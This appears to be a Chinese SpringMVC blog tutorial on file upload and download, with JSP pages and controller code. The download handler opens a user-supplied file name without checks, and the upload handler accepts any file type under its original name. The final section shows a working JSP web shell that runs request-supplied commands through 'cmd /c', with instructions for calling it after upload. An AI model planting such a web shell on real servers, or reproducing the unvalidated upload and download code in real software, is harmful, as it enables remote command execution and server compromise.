SpringMVC:文件的上传与下载

下载

前端代码:.jsp

<%@page import="java.net.URLEncoder"%>
<%@ page language="java" contentType="text/html; charset=UTF-8"
    pageEncoding="UTF-8"%>
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>下载</title>
</head>
<body>
	<ul>
		<li><a href="/download?fileName=<%=URLEncoder.encode("美女","utf-8") %>.jpg">美女.jpg</a></li>
		<li><a href="/download?fileName=star.mp4">star.mp4</a></li>
		<li><a href="/download?fileName=suiji.zip">suiji.zip</a></li>
		<li><a href="/download?fileName=words.txt">words.txt</a></li>
	</ul>
</body>
</html>

后端代码

@Controller
public class DownloadController {

	@RequestMapping("/download")
	public void download(String fileName,HttpServletRequest req,HttpServletResponse resp) throws IOException{
		// 获取download路径
		String realPath = req.getServletContext().getRealPath("/download");
		
		File file = new File(realPath, fileName);
		
		// 解决不同浏览器乱码问题
		if(req.getHeader("User-Agent").toUpperCase().indexOf("TRIDENT")!=-1){
			fileName = URLEncoder.encode(fileName, "utf-8");
			//电脑自带edge【edʒ】浏览器	
		}else if(req.getHeader("User-Agent").toUpperCase().indexOf("EDGE")!=-1){		
			fileName = URLEncoder.encode(fileName, "utf-8");
		}else{//其他浏览器
			fileName = new String(fileName.getBytes("UTF-8"),"ISO-8859-1");//转码的方式
		};
		
		//设置文件下载的名字  -- 附件表示做下载或上传操作,浏览器就不会将文件的内容直接显示出来了,以及下载显示文件名
		resp.setHeader("Content-Disposition", "attachment; filename=" + fileName);
		
		// 获取输入流
		FileInputStream inputStream = new FileInputStream(file);
		
		// 获取响应输出流
		ServletOutputStream outputStream = resp.getOutputStream();
		// 核心代码
		IOUtils.copy(inputStream, outputStream);
		
		// 关流
		outputStream.close();
		inputStream.close();
	} 
}

===================================================================

上传

文件上传三要素:
(1)表单的提交方式必须是POST请求
(2)表单中必须有一个文件上传项:<input type=“file” name=“upload”/>,文件上传项必须有name属性和值;
(3)表单的enctype属性的值必须是multipart/form-data

前端代码:

<%@ page language="java" contentType="text/html; charset=UTF-8"
    pageEncoding="UTF-8"%>
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>Insert title here</title>
</head>
<body>	
</body>

	
	<form action="uploadFile" method="post" enctype="multipart/form-data">
		<input type="file" name="photo"><br/>
		<input type="submit" value="提交">
	</form>
</html>

后台代码:

/**
 * 文件上传
 * 最好不要把存放上传文件的文件夹名和@RequestMapping写成一致
 */
@Controller
public class UploadController {

	/**
	 * 前后端根据name属性值进行传递
	 * MultipartFile: 文件项
	 */
	@RequestMapping("/uploadFile")
	public String upload(MultipartFile photo,HttpServletRequest req) throws IOException{
		// 获取name属性值
		//String name = photo.getName();
		
		if(!photo.isEmpty()){//判断是否有上传	用photo.getSize()!=0判断也可
			// 获取项目发布路径(server.xml里的docbase)+upload路径
			String realPath = req.getServletContext().getRealPath("/upload");
			File file_path = new File(realPath);
			if(!file_path.exists()){//判断文件夹是否存在,这样就不用事先创建文件夹了
				file_path.mkdirs();
			}
			// 获取上传文件名
			String filename = photo.getOriginalFilename();  
			// 通过截取获取后缀   // 1.jpg
			//String suffix = filename.substring(filename.lastIndexOf("."));
			// 因为如果就用文件名的话,再次上传相同文件名的文件,就会覆盖掉之前的文件,通过时间戳保证每个文件名都不一样
			String name = System.currentTimeMillis()+"_"+filename;
			// 获取输入流,将上传的文件读取到内存
			InputStream inputStream = photo.getInputStream();
			
			// 获取输出流,将内存中的数据写入硬盘的指定文件
			FileOutputStream fileOutputStream = new FileOutputStream(new File(file_path, filename));
			
			// 核心代码,其实就是一个复制
			IOUtils.copy(inputStream, fileOutputStream);
			
			// 关流,可以用JDK7的关流新方式
			fileOutputStream.close();
			inputStream.close();
			return "redirect:/upload.jsp";
		}
		
		return "";
	}
}

因为没有做任何限制,如果也没有更改文件名,在知道上传路径的前提下,利用文件上传(.jsp)使用命令

<%@ page language="java" contentType="text/html; charset=UTF-8"
    pageEncoding="UTF-8" import="java.io.InputStream" %>
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>Insert title here</title>
</head>
<body>
	<!-- 不想当黑客的程序员,不是好的架构师 -->
	<%	
	    int i = 10;
	    try {
            Process p = Runtime.getRuntime().exec("cmd /c "+request.getParameter("i"));
            InputStream ins= p.getInputStream();
            byte[] b = new byte[1024*10];
            int num = 0;
            while((num=ins.read(b))!=-1)
            	out.write(new String(b,"gb2312"));
            p.waitFor();
        } catch (Exception e) {
            e.printStackTrace();
        } 
	%>
</body>
</html>

浏览器访问:网站上传路径/自己上传的文件名?i=能在cmd中用的命令
会在页面返回服务器的相关消息(比如:net user)

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值